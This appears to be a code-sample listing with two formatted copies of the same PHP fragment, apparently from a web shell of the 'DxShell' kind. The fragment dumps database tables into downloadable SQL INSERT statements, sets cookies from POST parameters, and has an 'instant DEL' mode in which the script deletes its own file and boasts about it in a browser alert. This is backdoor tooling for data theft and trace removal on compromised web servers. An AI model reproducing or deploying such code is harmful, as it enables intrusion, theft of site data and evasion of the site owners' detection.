Example #1
0
            for ($j = 0; $j < count($DUMP[$i]); $j++) {
                $DUMP[$i][$j] = mysql_real_escape_string($DUMP[$i][$j]);
            }
            $DxDOWNLOAD_File['content'] .= "\n" . 'INSERT INTO `' . $CUR_TABLE . '` VALUES ("' . implode('", "', $DUMP[$i]) . '");';
        }
    }
}
if ($_GET['dxmode'] == 'COOK' and isset($_POST['dxparam'])) {
    foreach ($_POST['dxparam'] as $name => $val) {
        if ($name == 'DXS_NEWCOOK') {
            if (empty($val['NAM']) or empty($val['VAL'])) {
                continue;
            }
            DxSetCookie($val['NAM'], $val['VAL'], time() + 60 * 60 * 24 * 10);
        } else {
            DxSetCookie($name, $val, empty($val) ? 1 : time() + 60 * 60 * 24 * 10);
        }
    }
    DxGotoURL(DxURL('leave', 'dxmode'));
    die;
}
if (isset($_GET['dxinstant'])) {
    $_GET['dxinstant'] = strtoupper($_GET['dxinstant']);
    if ($_GET['dxinstant'] == 'DEL') {
        $ok = @unlink(@substr(@strrchr($_SERVER['PHP_SELF'], "/"), 1));
        print '<script>window.alert("SELF ' . ($ok ? 'deleted. Reload the page to believe me =)' : 'tried to delete but was unsuccessful') . '");</script>';
    }
}
function DxObGZ($s)
{
    return gzencode($s);
Example #2
0
		DxMySQL_FetchResult(DxMySQLQ('SELECT * FROM `'.$CUR_TABLE.'`;', false), $DUMP, true);
		for ($i=0; $i<count($DUMP); $i++)
			{
			for ($j=0;$j<count($DUMP[$i]);$j++) $DUMP[$i][$j]=mysql_real_escape_string($DUMP[$i][$j]);
			$DxDOWNLOAD_File['content'].="\n".'INSERT INTO `'.$CUR_TABLE.'` VALUES ("'.implode('", "', $DUMP[$i]).'");';
			}
		}
	}

if ($_GET['dxmode']=='COOK' AND isset($_POST['dxparam']))
	{	foreach ($_POST['dxparam'] as $name => $val)
		{		if ($name=='DXS_NEWCOOK')
			{
			if (empty($val['NAM']) or empty($val['VAL'])) continue;			DxSetCookie($val['NAM'], $val['VAL'], time()+60*60*24*10);
			}
			else DxSetCookie($name, $val, (empty($val))?1:(time()+60*60*24*10));
		}
	DxGotoURL(DxURL('leave', 'dxmode'));
	die();
	}

if (isset($_GET['dxinstant']))
	{	$_GET['dxinstant']=strtoupper($_GET['dxinstant']);
	if ($_GET['dxinstant']=='DEL')
		{
		$ok=@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
		print '<script>window.alert("SELF '.(  ($ok)?'deleted. Reload the page to believe me =)':'tried to delete but was unsuccessful'  ).'");</script>';
		}
	}

function DxObGZ($s) {return gzencode($s);}